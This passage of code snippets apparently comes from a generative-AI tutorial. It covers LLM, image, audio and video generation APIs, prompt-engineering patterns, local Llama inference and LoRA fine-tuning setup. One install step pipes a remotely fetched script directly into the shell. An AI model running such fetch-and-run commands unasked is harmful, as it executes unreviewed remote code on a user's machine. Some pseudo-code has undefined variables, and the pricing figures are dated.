    device_map="auto"
)

# Generate text
prompt = "What is the theory of relativity?"
inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
outputs = model.generate(**inputs, max_length=200)
print(tokenizer.decode(outputs[0], skip_special_tokens=True))

from diffusers import StableDiffusionPipeline
import torch

# Load pipeline
pipe = StableDiffusionPipeline.from_pretrained(
    "stabilityai/stable-diffusion-2-1",
    torch_dtype=torch.float16
)
pipe = pipe.to("cuda")

# Generate image
prompt = "a serene mountain landscape at sunset, oil painting style"
image = pipe(prompt, num_inference_steps=50, guidance_scale=7.5).images[0]
image.save("output.png")

P(x₁, x₂, ..., xₙ) = P(x₁) × P(x₂|x₁) × P(x₃|x₁,x₂) × ... × P(xₙ|x₁,...,xₙ₋₁)

Forward process: x₀ → x₁ → ... → xₜ (add noise)
Reverse process: xₜ → xₜ₋₁ → ... → x₀ (remove noise)

Encoder: x → z (data to latent space)
Decoder: z → x' (latent space to reconstruction)

Generator: z → x (noise to data)
Discriminator: x → [0,1] (real vs fake)

from openai import OpenAI

client = OpenAI(api_key="your-key")

# GPT-4 Turbo - Most capable
response = client.chat.completions.create(
    model="gpt-4-turbo-preview",
    messages=[
        {"role": "system", "content": "You are a creative writer."},
        {"role": "user", "content": "Write a short sci-fi story about AI."}
    ],
    temperature=0.8,
    max_tokens=500
)

print(response.choices[0].message.content)

import anthropic

client = anthropic.Anthropic(api_key="your-key")

# Claude Sonnet 4.5 - Latest model
message = client.messages.create(
    model="claude-sonnet-4-5-20250929",
    max_tokens=1024,
    messages=[
        {
            "role": "user", 
            "content": "Analyze this code and suggest improvements: [code]"
        }
    ]
)

print(message.content[0].text)

from transformers import AutoTokenizer, AutoModelForCausalLM
import torch

model_name = "meta-llama/Llama-3.2-3B-Instruct"
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(
    model_name,
    torch_dtype=torch.float16,
    device_map="auto"
)

# Chat format
messages = [
    {"role": "system", "content": "You are a helpful assistant."},
    {"role": "user", "content": "Explain quantum computing."}
]

input_ids = tokenizer.apply_chat_template(
    messages,
    return_tensors="pt"
).to(model.device)

outputs = model.generate(
    input_ids,
    max_new_tokens=256,
    temperature=0.7,
    top_p=0.9
)

print(tokenizer.decode(outputs[0], skip_special_tokens=True))

from mistralai.client import MistralClient
from mistralai.models.chat_completion import ChatMessage

client = MistralClient(api_key="your-key")

messages = [
    ChatMessage(role="user", content="What is machine learning?")
]

# Mistral Large - Most capable
response = client.chat(
    model="mistral-large-latest",
    messages=messages
)

print(response.choices[0].message.content)

# Blog post generation
prompt = """
Write a 500-word blog post about sustainable living.

Include:
- Engaging introduction
- 3 practical tips
- Statistics or facts
- Call to action

Tone: Informative but conversational
"""

# Function generation
prompt = """
Create a Python function that:
- Takes a list of dictionaries
- Filters by a key-value pair
- Sorts by another key
- Returns top N results

Include type hints and docstring.
"""

# Analysis prompt
prompt = """
Analyze this sales data and provide:
1. Key trends
2. Anomalies
3. Predictions
4. Recommendations

Data: [CSV or JSON data]
"""

# Contextual translation
prompt = """
Translate this technical documentation from English to Spanish:

[text]

Maintain:
- Technical terminology accuracy
- Professional tone
- Code examples unchanged
"""

from diffusers import StableDiffusionPipeline, DPMSolverMultistepScheduler
import torch

# Load model
model_id = "stabilityai/stable-diffusion-2-1"
pipe = StableDiffusionPipeline.from_pretrained(
    model_id,
    torch_dtype=torch.float16
)
pipe.scheduler = DPMSolverMultistepScheduler.from_config(
    pipe.scheduler.config
)
pipe = pipe.to("cuda")

# Generate image
prompt = "a serene japanese garden with cherry blossoms, koi pond, stone lanterns, soft morning light, highly detailed, 4k"
negative_prompt = "blurry, distorted, low quality, watermark"

image = pipe(
    prompt=prompt,
    negative_prompt=negative_prompt,
    num_inference_steps=30,
    guidance_scale=7.5,
    width=768,
    height=768
).images[0]

image.save("japanese_garden.png")

from openai import OpenAI

client = OpenAI()

response = client.images.generate(
    model="dall-e-3",
    prompt="A futuristic city with flying cars and neon lights, cyberpunk style, detailed, high quality",
    size="1024x1024",
    quality="hd",
    n=1
)

image_url = response.data[0].url
print(f"Generated image: {image_url}")

/imagine prompt: a mystical forest with glowing mushrooms, ethereal lighting, fantasy art style, intricate details --v 6 --ar 16:9 --q 2

from diffusers import StableDiffusionImg2ImgPipeline
from PIL import Image

pipe = StableDiffusionImg2ImgPipeline.from_pretrained(
    "stabilityai/stable-diffusion-2-1",
    torch_dtype=torch.float16
).to("cuda")

# Load initial image
init_image = Image.open("sketch.png").convert("RGB")
init_image = init_image.resize((768, 768))

# Transform image
prompt = "a professional photograph of a modern building, architectural photography"
images = pipe(
    prompt=prompt,
    image=init_image,
    strength=0.75,  # How much to transform (0=no change, 1=complete regeneration)
    guidance_scale=7.5,
    num_inference_steps=50
).images

images[0].save("transformed.png")

from diffusers import StableDiffusionInpaintPipeline

pipe = StableDiffusionInpaintPipeline.from_pretrained(
    "stabilityai/stable-diffusion-2-inpainting",
    torch_dtype=torch.float16
).to("cuda")

# Load image and mask
image = Image.open("photo.png")
mask = Image.open("mask.png")  # White areas will be regenerated

prompt = "a red sports car"
result = pipe(
    prompt=prompt,
    image=image,
    mask_image=mask,
    num_inference_steps=50
).images[0]

result.save("inpainted.png")

from openai import OpenAI
from pathlib import Path

client = OpenAI()

speech_file_path = Path("output.mp3")

response = client.audio.speech.create(
    model="tts-1-hd",
    voice="nova",  # alloy, echo, fable, onyx, nova, shimmer
    input="Hello! This is a generated voice. AI can now speak naturally."
)

response.stream_to_file(speech_file_path)

from elevenlabs import generate, play, set_api_key

set_api_key("your-api-key")

audio = generate(
    text="Welcome to the future of voice synthesis.",
    voice="Bella",
    model="eleven_monolingual_v1"
)

play(audio)

from audiocraft.models import MusicGen
import torchaudio

model = MusicGen.get_pretrained('facebook/musicgen-medium')

# Generate music
descriptions = ['upbeat electronic dance music with strong bass']
duration = 30  # seconds

model.set_generation_params(duration=duration)
wav = model.generate(descriptions)

# Save
for idx, one_wav in enumerate(wav):
    torchaudio.save(f'generated_{idx}.wav', one_wav.cpu(), model.sample_rate)

from diffusers import StableVideoDiffusionPipeline
from PIL import Image

pipe = StableVideoDiffusionPipeline.from_pretrained(
    "stabilityai/stable-video-diffusion-img2vid-xt",
    torch_dtype=torch.float16,
    variant="fp16"
)
pipe.to("cuda")

# Load initial image
image = Image.open("first_frame.png")

# Generate video frames
frames = pipe(image, decode_chunk_size=8, num_frames=25).frames[0]

# Save as video
from diffusers.utils import export_to_video
export_to_video(frames, "output_video.mp4", fps=7)

import runwayml

client = runwayml.RunwayML(api_key="your-key")

# Text to video
task = client.image_generation.create(
    prompt="a serene ocean at sunset with waves gently crashing",
    model="gen2",
    duration=4
)

# Wait for completion and download
video_url = task.get_output_url()

from openai import OpenAI

client = OpenAI()

response = client.chat.completions.create(
    model="gpt-4-vision-preview",
    messages=[
        {
            "role": "user",
            "content": [
                {"type": "text", "text": "What's in this image?"},
                {
                    "type": "image_url",
                    "image_url": {
                        "url": "https://example.com/image.jpg"
                    }
                }
            ]
        }
    ],
    max_tokens=300
)

print(response.choices[0].message.content)

import anthropic
import base64

client = anthropic.Anthropic()

# Read and encode image
with open("image.jpg", "rb") as image_file:
    image_data = base64.standard_b64encode(image_file.read()).decode("utf-8")

message = client.messages.create(
    model="claude-sonnet-4-5-20250929",
    max_tokens=1024,
    messages=[
        {
            "role": "user",
            "content": [
                {
                    "type": "image",
                    "source": {
                        "type": "base64",
                        "media_type": "image/jpeg",
                        "data": image_data,
                    },
                },
                {
                    "type": "text",
                    "text": "Describe this image in detail."
                }
            ],
        }
    ],
)

print(message.content[0].text)

from llava.model.builder import load_pretrained_model
from llava.mm_utils import get_model_name_from_path, process_images
from PIL import Image

model_path = "liuhaotian/llava-v1.5-7b"
tokenizer, model, image_processor, context_len = load_pretrained_model(
    model_path=model_path,
    model_base=None,
    model_name=get_model_name_from_path(model_path)
)

# Load and process image
image = Image.open("photo.jpg")
image_tensor = process_images([image], image_processor, model.config)

# Generate description
prompt = "Describe this image in detail."
outputs = model.generate(
    image_tensor,
    prompt,
    max_new_tokens=512
)

# Automated blog writing pipeline
def generate_blog_post(topic):
    # Research
    outline_prompt = f"Create a detailed outline for a blog post about {topic}"
    outline = llm.generate(outline_prompt)

    # Write sections
    sections = []
    for section in outline.sections:
        content = llm.generate(f"Write about: {section}")
        sections.append(content)

    # Generate image
    image_prompt = f"blog header image for {topic}, professional, modern"
    image = image_generator.generate(image_prompt)

    return {
        'outline': outline,
        'content': sections,
        'image': image
    }

# Personalized tutoring
def create_lesson(topic, student_level, learning_style):
    prompt = f"""
    Create a {student_level}-level lesson on {topic} for a {learning_style} learner.

    Include:
    - Clear explanations with analogies
    - 3 practice problems
    - Visual aids descriptions
    """

    lesson = llm.generate(prompt)

    # Generate visual aids
    visuals = [
        image_gen.generate(desc) 
        for desc in lesson.visual_descriptions
    ]

    return lesson, visuals

# AI-assisted coding
def code_assistant(task_description, language="python"):
    # Generate code
    code_prompt = f"Write {language} code for: {task_description}"
    code = llm.generate(code_prompt)

    # Generate tests
    test_prompt = f"Write unit tests for this code:\n{code}"
    tests = llm.generate(test_prompt)

    # Generate documentation
    doc_prompt = f"Write comprehensive documentation for:\n{code}"
    docs = llm.generate(doc_prompt)

    return {
        'code': code,
        'tests': tests,
        'docs': docs
    }

# Campaign generation
def create_marketing_campaign(product, target_audience):
    # Generate copy variations
    copy_prompt = f"""
    Create 5 ad copy variations for {product} targeting {target_audience}.
    Each should be:
    - Under 100 characters
    - Compelling call-to-action
    - Different emotional angle
    """
    copies = llm.generate(copy_prompt)

    # Generate visuals
    for copy in copies:
        visual_prompt = f"advertising image for: {copy}, {product}, professional photography"
        image = image_gen.generate(visual_prompt)

    return campaign

# Expand training dataset
def augment_dataset(original_data):
    augmented = []

    for item in original_data:
        # Text augmentation
        variations = llm.generate(
            f"Create 5 paraphrases of: {item.text}"
        )
        augmented.extend(variations)

        # Image augmentation (if applicable)
        if item.image:
            synthetic_images = image_gen.generate(
                f"similar to: {item.image_description}"
            )
            augmented.extend(synthetic_images)

    return augmented

# Multi-modal accessibility
def make_accessible(content):
    if content.is_text():
        # Text to speech
        audio = tts.generate(content.text)

        # Generate descriptive images
        image = image_gen.generate(f"illustration of: {content.text}")

    elif content.is_image():
        # Image to text description
        description = vision_model.describe(content.image)

        # Text to speech
        audio = tts.generate(description)

    return {
        'text': description,
        'audio': audio,
        'image': image
    }

# Good prompt structure
prompt = """
Role: You are an expert {domain} specialist

Task: {specific_task}

Context: {relevant_background}

Requirements:
- {requirement_1}
- {requirement_2}
- {requirement_3}

Format: {output_format}
"""

# Creative tasks: High temperature
creative_config = {
    "temperature": 0.8,
    "top_p": 0.9,
    "top_k": 50
}

# Factual tasks: Low temperature
factual_config = {
    "temperature": 0.2,
    "top_p": 0.95,
    "top_k": 40
}

def generate_with_retry(prompt, max_retries=3):
    for attempt in range(max_retries):
        try:
            response = llm.generate(prompt)

            # Validate response
            if validate(response):
                return response

        except Exception as e:
            if attempt == max_retries - 1:
                raise
            continue

    return fallback_response

# Cache responses
from functools import lru_cache

@lru_cache(maxsize=1000)
def generate_cached(prompt):
    return llm.generate(prompt)

# Batch requests
def generate_batch(prompts):
    return llm.batch_generate(prompts)

# Use appropriate model
def select_model(task_complexity):
    if task_complexity == "simple":
        return "gpt-3.5-turbo"  # Cheaper
    else:
        return "gpt-4"  # More capable

# Add watermarks to generated content
def generate_with_watermark(prompt):
    content = llm.generate(prompt)
    metadata = {
        'generated_by': 'AI',
        'model': 'gpt-4',
        'timestamp': datetime.now(),
        'watermark': True
    }
    return content, metadata

# Check for biased outputs
def check_bias(generated_content):
    bias_check_prompt = f"""
    Analyze this content for potential bias:
    {generated_content}

    Check for:
    - Gender bias
    - Racial bias
    - Cultural bias
    - Age bias
    """

    analysis = llm.generate(bias_check_prompt)
    return analysis

# Content filtering
def safe_generate(prompt):
    # Check input
    if contains_unsafe_content(prompt):
        return "Request rejected: unsafe content"

    # Generate
    output = llm.generate(prompt)

    # Check output
    if contains_unsafe_content(output):
        return "Generation failed: unsafe output"

    return output

Objective: Predict next token
Input: "The cat sat on the"
Target: "mat"

Loss = -log P(mat | previous tokens)

Input: "What is 2+2?"
Target: "2+2=4"

1. Generate multiple responses
2. Humans rank by quality
3. Train reward model
4. Use reward to optimize policy

"Hello world" -> [15339, 1159]

king - man + woman ~= queen

Question: What is 2+2?
Answer: 4

Question: What is 3+3?
Answer: 6

Question: What is 2+2?
Answer:

Q: If there are 3 apples and you add 2 more, how many are there?

A: Let me think step by step:
1. Start with 3 apples
2. Add 2 more
3. Total: 3 + 2 = 5

You are a helpful Python expert.
Q: How do I reverse a list?
A: [explanations as Python expert]

Q: What's the capital of Atlantis?
A: The capital is Poseidiopolis. (Made up!)

Q: Who won the 2025 World Cup?
A: I don't have info beyond April 2024.

Memory: O(parameters)
Time: O(tokens)

# Instead of: W' = W + delta_W
# Use: W' = W + A*B (where A, B << W)

Pricing: $ per 1M tokens
GPT-4: $30 input, $60 output
Claude: $8 input, $24 output

Model Size | VRAM Needed | Speed
7B params  | 16GB        | Fast
13B params | 24GB        | Medium
70B params | 80GB (GPU)  | Slow

X Bad: "Write code"
Checkmark Good: "Write Python function that takes list and returns sorted list in ascending order"

Instead of: "Analyze this company and give investment advice"
Try:
1. "Summarize this company's financials"
2. "What are the main risks?"
3. "What are growth opportunities?"
4. "Should we invest?"

❌ Bad: "Write about dogs"
✅ Good: "Write a 300-word informative article about the benefits of adopting rescue dogs, including health, cost, and emotional aspects."

❌ Bad: "What should I do?"
✅ Good: "I'm a Python developer with 3 years of experience. I want to transition into machine learning. What skills should I prioritize learning first?"

❌ Bad: "Tell me about the solar system"
✅ Good: "List the planets in our solar system in a markdown table with columns: Name, Distance from Sun (AU), and One Interesting Fact."

"You are an experienced DevOps engineer. Explain Kubernetes deployments to a junior developer who has only worked with traditional hosting."

Prompt: "Classify the sentiment of this review: 'The product arrived damaged but customer service was helpful.' Choose: positive, negative, or mixed."

Output: "mixed"

Classify movie reviews as positive or negative:

Review: "A masterpiece of cinema!"
Sentiment: positive

Review: "Boring and predictable plot."
Sentiment: negative

Review: "Waste of time and money."
Sentiment: negative

Review: "Incredible performances by the cast."
Sentiment: positive

Review: "The special effects were amazing but the story was weak."
Sentiment: 

Prompt: "A cafeteria has 23 apples. If they used 20 to make lunch and bought 6 more, how many apples do they have? Let's think step by step."

Output:
"Let's solve this step by step:
1. Starting apples: 23
2. Used for lunch: 23 - 20 = 3 apples remaining
3. Bought more: 3 + 6 = 9 apples
Answer: The cafeteria has 9 apples."

Prompt: "If a train travels 120 miles in 2 hours, then speeds up and travels 180 miles in the next 2 hours, what's the average speed for the entire journey? Let's think step by step."

# Ask the same question with slight variations
prompts = [
    "Calculate 15% tip on $47.50. Show your work.",
    "What's a 15% tip on a $47.50 bill? Explain your calculation.",
    "If my bill is $47.50 and I want to leave 15%, how much is the tip?"
]

# The most common answer is likely correct

Problem: Design a marketing campaign for a new eco-friendly water bottle.

Let's explore three different approaches:

Approach 1: Sustainability Focus
- Highlight environmental impact
- Partner with conservation organizations
- Target eco-conscious millennials
[Evaluate pros/cons]

Approach 2: Innovation Focus
- Emphasize unique design features
- Tech-forward marketing
- Target early adopters
[Evaluate pros/cons]

Approach 3: Health & Wellness Focus
- Connect to healthy lifestyle
- Partner with fitness influencers
- Target health-conscious consumers
[Evaluate pros/cons]

Now, let's combine the best elements...

Task: Find information about the latest Python version

Thought: I need to find current Python version information
Action: Search for "latest Python version 2025"
Observation: Python 3.13 was released in October 2024
Thought: I should verify this is the most recent stable version
Action: Check Python.org official releases
Observation: Confirmed, Python 3.13 is the latest stable version
Answer: The latest Python version is 3.13, released in October 2024

# Step 1: Research
prompt1 = "List 5 key features of electric vehicles vs gasoline cars"

# Step 2: Analyze (using output from step 1)
prompt2 = f"Given these EV features: {output1}, which three are most important for urban commuters?"

# Step 3: Synthesize
prompt3 = f"Based on these priority features: {output2}, write a 100-word recommendation"

Meta-prompt: "I want to classify customer support tickets into categories: billing, technical, general inquiry. Generate 5 different prompts that would work well for this classification task."

"Act as [role] with [characteristics]. Your task is to [objective]."

Example:
"Act as a senior software architect with 15 years of experience in microservices. Review this code design and suggest improvements for scalability."

"[Action] about [topic] in [format] with [constraints]."

Example:
"Write about artificial intelligence in a blog post format with a friendly tone, 500 words max, aimed at non-technical readers."

"[Task]. You must [requirement 1]. You must [requirement 2]. You cannot [restriction]."

Example:
"Write a product description. You must include benefits, not just features. You must use active voice. You cannot use technical jargon."

Initial prompt → Generate → Critique → Revise

Example:
"Write a haiku about coding."
[output]
"Now critique this haiku for syllable count and imagery."
[critique]
"Revise the haiku based on the critique."

"Compare [A] and [B] in terms of [criteria 1], [criteria 2], and [criteria 3]. Present as [format]."

Example:
"Compare REST API and GraphQL in terms of performance, flexibility, and ease of use. Present as a comparison table."

# Instruction
[What to do]

# Context
[Background information]

# Format
[How to structure the output]

Example:
# Instruction
Explain how photosynthesis works

# Context
The audience is 5th-grade students learning about plant biology for the first time

# Format
Use an analogy with a familiar concept, then provide 3-5 simple bullet points

Summarize the text delimited by triple quotes.

Text: """
[long text here]
"""

Requirements:
- 3 sentences maximum
- Highlight main argument
- Use neutral tone

"Provide your answer as a JSON object with the following structure:
{
  "summary": "brief overview",
  "key_points": ["point1", "point2", "point3"],
  "recommendation": "actionable advice"
}"

"Before answering, explain your reasoning process. Then provide the final answer clearly labeled."

# For few-shot learning, provide diverse examples:
Input: "The cat sat on the mat" → Simple sentence
Input: "Although tired, she completed the marathon" → Complex sentence
Input: "Run!" → Imperative sentence
Input: "Is it raining?" → Interrogative sentence
Input: "What a beautiful day!" → 

# Version 1: Too vague
"Write code for a web scraper"

# Version 2: More specific
"Write Python code for a web scraper using BeautifulSoup"

# Version 3: Complete specification
"Write Python code using BeautifulSoup to scrape product names and prices from an e-commerce site. Include error handling for missing elements and rate limiting to respect the server."

"Explain quantum entanglement in [50/100/200] words"
"Provide a [brief/moderate/detailed] explanation"
"Summarize in [2-3 sentences/one paragraph/300 words]"

# Creative tasks (high temperature: 0.7-1.0)
{"temperature": 0.9}
# "Write a creative story about a time-traveling cat"

# Factual tasks (low temperature: 0.0-0.3)
{"temperature": 0.1}
# "What is the capital of France?"

# Balanced tasks (medium temperature: 0.4-0.6)
{"temperature": 0.5}
# "Explain the pros and cons of remote work"

❌ "Tell me about Python"
✅ "Explain Python's list comprehension syntax with 3 examples"

❌ "Write a detailed brief summary"
✅ "Write a summary in 2-3 sentences covering the main points"

❌ "Debug this code" [without context]
✅ "This Python function should sort a list but returns an error. Debug it: [code]. The error message is: [error]"

❌ [500-word prompt with 20 constraints]
✅ [Clear, focused prompt with 3-5 key requirements]

Task: Create a Python function

Prompt:
"Write a Python function named 'calculate_statistics' that:
- Takes a list of numbers as input
- Returns a dictionary with: mean, median, mode, and standard deviation
- Handles edge cases (empty list, single value)
- Includes docstring with examples
- Uses only standard library modules"

Task: Analyze sales data

Prompt:
"Given this sales data in CSV format:
[data]

Perform the following analysis:
1. Calculate total revenue by product category
2. Identify the top 3 performing products
3. Calculate month-over-month growth rate
4. Provide 3 actionable insights

Present findings in a structured format with clear headers."

Task: Write a blog post

Prompt:
"Write a 600-word blog post about 'The Future of Remote Work'

Structure:
- Engaging headline
- Hook in first paragraph
- 3 main sections with subheadings
- Include statistics or examples
- Conclude with actionable takeaway

Tone: Professional yet conversational
Audience: Mid-level professionals and managers
SEO keywords: remote work, hybrid model, workplace flexibility"

Task: Summarize a technical document

Prompt:
"Summarize the following technical documentation:

[document]

Create two versions:
1. Executive Summary (100 words): High-level overview for non-technical stakeholders
2. Technical Summary (300 words): Key technical details for engineering team

Highlight any critical warnings or breaking changes."

Task: Contextual translation

Prompt:
"Translate the following English text to Spanish:

'The system is down'

Context: This is an IT status message displayed to users during an outage.
Requirements:
- Use appropriate technical terminology
- Maintain professional tone
- Ensure clarity for non-technical users"

Task: Review code quality

Prompt:
"Review this Python code for:

[code]

Evaluate:
1. Code quality and readability
2. Performance considerations
3. Potential bugs or edge cases
4. Security issues
5. Best practices adherence

Provide specific suggestions with code examples where applicable.
Rate each category from 1-5 and explain your ratings."

Task: Answer with citations

Prompt:
"Answer the following question using only information from the provided text. Quote relevant passages to support your answer.

Text: [document]

Question: [question]

Format:
- Direct answer (1-2 sentences)
- Supporting evidence (2-3 quoted passages)
- Confidence level (high/medium/low)"

Task: Story generation

Prompt:
"Write a short story (500 words) with these elements:

Setting: Cyberpunk city in 2150
Protagonist: AI rights activist
Conflict: Choice between following the law or doing what's right
Theme: Question of consciousness and personhood
Tone: Noir detective style

Include:
- Vivid sensory details
- Internal monologue
- Unexpected twist ending"

"I need to create prompts for classifying customer emails. First, analyze what makes a good classification prompt, then generate 3 examples of effective prompts for this task."

initial_prompt = "Explain machine learning"

optimization_prompt = f"""
Original prompt: "{initial_prompt}"

This prompt is too vague. Improve it by:
1. Adding specific focus area
2. Defining target audience
3. Specifying depth of explanation
4. Setting output format

Provide an optimized version.
"""

# For chat-based models
system_prompt = """You are a Python expert specializing in data science.
Your responses should:
- Include working code examples
- Explain complex concepts simply
- Suggest best practices
- Warn about common pitfalls
- Use type hints and documentation"""

user_prompt = "How do I handle missing data in pandas?"

# API call structure
response = client.chat.completions.create(
    model="gpt-4",
    messages=[
        {"role": "system", "content": system_prompt},
        {"role": "user", "content": user_prompt}
    ]
)

"[Task description]

Guidelines:
- Provide factual, unbiased information
- Acknowledge uncertainty when appropriate
- Avoid harmful or discriminatory content
- Cite sources when making factual claims
- Respect privacy and confidentiality"

from langchain import PromptTemplate

template = """
You are a {role} with expertise in {domain}.

Task: {task}

Context: {context}

Provide your response in {format} format.
"""

prompt = PromptTemplate(
    input_variables=["role", "domain", "task", "context", "format"],
    template=template
)

final_prompt = prompt.format(
    role="data scientist",
    domain="machine learning",
    task="explain overfitting",
    context="teaching beginners",
    format="simple terms with examples"
)

# Track prompt iterations
prompts = {
    "v1.0": "Summarize this text",
    "v1.1": "Summarize this text in 100 words",
    "v1.2": "Summarize this text in 100 words, focusing on key insights",
    "v2.0": "Provide a 100-word summary highlighting: 1) main argument, 2) supporting evidence, 3) conclusions"
}

def test_prompt(prompt, test_cases, model):
    results = []

    for test_input, expected_output in test_cases:
        full_prompt = prompt.format(input=test_input)
        actual_output = model.generate(full_prompt)

        results.append({
            'input': test_input,
            'expected': expected_output,
            'actual': actual_output,
            'match': evaluate_match(expected_output, actual_output)
        })

    return results

from transformers import AutoTokenizer, AutoModelForCausalLM
import torch

model_name = "meta-llama/Llama-3.2-1B-Instruct"
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(
    model_name,
    torch_dtype=torch.float16,
    device_map="auto"
)

# Chat
messages = [
    {"role": "system", "content": "You are a helpful assistant."},
    {"role": "user", "content": "What is Python?"}
]

input_ids = tokenizer.apply_chat_template(
    messages,
    return_tensors="pt"
).to(model.device)

outputs = model.generate(
    input_ids,
    max_new_tokens=256,
    temperature=0.7
)

print(tokenizer.decode(outputs[0], skip_special_tokens=True))

from transformers import MllamaForConditionalGeneration, AutoProcessor
from PIL import Image

model = MllamaForConditionalGeneration.from_pretrained(
    "meta-llama/Llama-3.2-11B-Vision-Instruct",
    torch_dtype=torch.bfloat16,
    device_map="auto"
)
processor = AutoProcessor.from_pretrained("meta-llama/Llama-3.2-11B-Vision-Instruct")

# Load image
image = Image.open("photo.jpg")

# Create prompt
messages = [
    {
        "role": "user",
        "content": [
            {"type": "image"},
            {"type": "text", "text": "What's in this image?"}
        ]
    }
]

# Process and generate
input_text = processor.apply_chat_template(messages, add_generation_prompt=True)
inputs = processor(image, input_text, return_tensors="pt").to(model.device)

output = model.generate(**inputs, max_new_tokens=256)
print(processor.decode(output[0], skip_special_tokens=True))

# 8B - Fast, efficient
model_name = "meta-llama/Llama-3.1-8B-Instruct"

# 70B - High capability
model_name = "meta-llama/Llama-3.1-70B-Instruct"

# 405B - Most capable (requires multiple GPUs)
model_name = "meta-llama/Llama-3.1-405B-Instruct"

# 8B
model_name = "meta-llama/Meta-Llama-3-8B-Instruct"

# 70B
model_name = "meta-llama/Meta-Llama-3-70B-Instruct"

# 7B
model_name = "meta-llama/Llama-2-7b-chat-hf"

# 13B
model_name = "meta-llama/Llama-2-13b-chat-hf"

# 70B
model_name = "meta-llama/Llama-2-70b-chat-hf"

# Install dependencies
pip install transformers torch accelerate

# For quantization
pip install bitsandbytes

# For training
pip install peft datasets

# Install Ollama
curl -fsSL https://ollama.com/install.sh | sh

# Pull model
ollama pull llama3.2

# Run
ollama run llama3.2

import requests

def query_ollama(prompt):
    response = requests.post('http://localhost:11434/api/generate', 
        json={
            "model": "llama3.2",
            "prompt": prompt,
            "stream": False
        }
    )
    return response.json()['response']

result = query_ollama("What is machine learning?")
print(result)

# Clone and build
git clone https://github.com/ggerganov/llama.cpp
cd llama.cpp
make

# Download model (GGUF format)
# From Hugging Face or converted locally

# Run inference
./main -m models/llama-3.2-1B-Instruct-Q4_K_M.gguf -p "Hello, how are you?"

pip install llama-cpp-python

from llama_cpp import Llama

llm = Llama(
    model_path="models/llama-3.2-3B-Instruct-Q4_K_M.gguf",
    n_ctx=2048,
    n_gpu_layers=35  # Adjust for GPU
)

output = llm(
    "Explain quantum computing",
    max_tokens=256,
    temperature=0.7,
    top_p=0.95,
)

print(output['choices'][0]['text'])

pip install vllm

from vllm import LLM, SamplingParams

# Load model
llm = LLM(
    model="meta-llama/Llama-3.2-3B-Instruct",
    tensor_parallel_size=1
)

# Sampling parameters
sampling_params = SamplingParams(
    temperature=0.7,
    top_p=0.95,
    max_tokens=256
)

# Generate
prompts = ["What is AI?", "Explain Python"]
outputs = llm.generate(prompts, sampling_params)

for output in outputs:
    print(output.outputs[0].text)

from transformers import AutoTokenizer, AutoModelForCausalLM
import torch

# Load model
model_name = "meta-llama/Llama-3.2-3B-Instruct"
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(
    model_name,
    torch_dtype=torch.float16,
    device_map="auto"
)

# Generate
prompt = "Write a Python function to calculate factorial:"
inputs = tokenizer(prompt, return_tensors="pt").to(model.device)

outputs = model.generate(
    **inputs,
    max_new_tokens=256,
    temperature=0.7,
    top_p=0.9,
    do_sample=True
)

result = tokenizer.decode(outputs[0], skip_special_tokens=True)
print(result)

# Proper chat formatting
messages = [
    {"role": "system", "content": "You are a helpful AI assistant."},
    {"role": "user", "content": "What is the capital of France?"},
]

# Apply chat template
input_ids = tokenizer.apply_chat_template(
    messages,
    add_generation_prompt=True,
    return_tensors="pt"
).to(model.device)

# Generate
outputs = model.generate(
    input_ids,
    max_new_tokens=256,
    temperature=0.7,
    top_p=0.9,
    do_sample=True,
    pad_token_id=tokenizer.eos_token_id
)

response = tokenizer.decode(outputs[0][input_ids.shape[-1]:], skip_special_tokens=True)
print(response)

conversation = [
    {"role": "system", "content": "You are a helpful assistant."}
]

def chat(user_message):
    # Add user message
    conversation.append({"role": "user", "content": user_message})

    # Generate response
    input_ids = tokenizer.apply_chat_template(
        conversation,
        add_generation_prompt=True,
        return_tensors="pt"
    ).to(model.device)

    outputs = model.generate(
        input_ids,
        max_new_tokens=256,
        temperature=0.7,
        pad_token_id=tokenizer.eos_token_id
    )

    response = tokenizer.decode(
        outputs[0][input_ids.shape[-1]:],
        skip_special_tokens=True
    )

    # Add assistant response
    conversation.append({"role": "assistant", "content": response})

    return response

# Use
print(chat("What is Python?"))
print(chat("How do I install it?"))
print(chat("Give me a simple example."))

from transformers import TextIteratorStreamer
from threading import Thread

streamer = TextIteratorStreamer(tokenizer, skip_special_tokens=True)

# Prepare input
messages = [{"role": "user", "content": "Write a short story about AI"}]
input_ids = tokenizer.apply_chat_template(messages, return_tensors="pt").to(model.device)

# Generate in thread
generation_kwargs = {
    "input_ids": input_ids,
    "max_new_tokens": 512,
    "temperature": 0.8,
    "streamer": streamer
}

thread = Thread(target=model.generate, kwargs=generation_kwargs)
thread.start()

# Stream output
for text in streamer:
    print(text, end="", flush=True)

thread.join()

pip install transformers peft accelerate bitsandbytes datasets

from transformers import (
    AutoTokenizer,
    AutoModelForCausalLM,
    TrainingArguments,
    Trainer,
    BitsAndBytesConfig
)
from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training
from datasets import load_dataset
import torch

# Load model with quantization
model_name = "meta-llama/Llama-3.2-3B-Instruct"

bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_quant_type="nf4",
    bnb_4bit_compute_dtype=torch.bfloat16,
    bnb_4bit_use_double_quant=True
)

model = AutoModelForCausalLM.from_pretrained(
    model_name,
    quantization_config=bnb_config,
    device_map="auto"
)

tokenizer = AutoTokenizer.from_pretrained(model_name)
tokenizer.pad_token = tokenizer.eos_token

# Prepare model
model = prepare_model_for_kbit_training(model)

# LoRA configuration
lora_config = LoraConfig(
    r=16,  # Rank
    lora_alpha=32,  # Scaling factor
    target_modules=["q_proj", "k_proj", "v_proj", "o_proj"],
    lora_dropout=0.05,
    bias="none",
    task_type="CAUSAL_LM"
)

model = get_peft_model(model, lora_config)
model.print_trainable_parameters()
# Output: trainable params: ~16M / total: 3B (~0.5%)

# Prepare dataset
dataset = load_dataset("your-dataset")

def format_instruction(example):
    text = f"### Instruction:\n{example['instruction']}\n\n### Response:\n{example['response']}"
    return {"text": text}

dataset = dataset.map(format_instruction)

# Tokenize
def tokenize(examples):
    return tokenizer(
        examples["text"],
        truncation=True,
        max_length=512,
        padding="max_length"
    )

tokenized_dataset = dataset.map(tokenize, batched=True)

# Training arguments
training_args = TrainingArguments(
    output_dir="./llama-finetuned",
    num_train_epochs=3,
    per_device_train_batch_size=4,
    gradient_accumulation_steps=4,
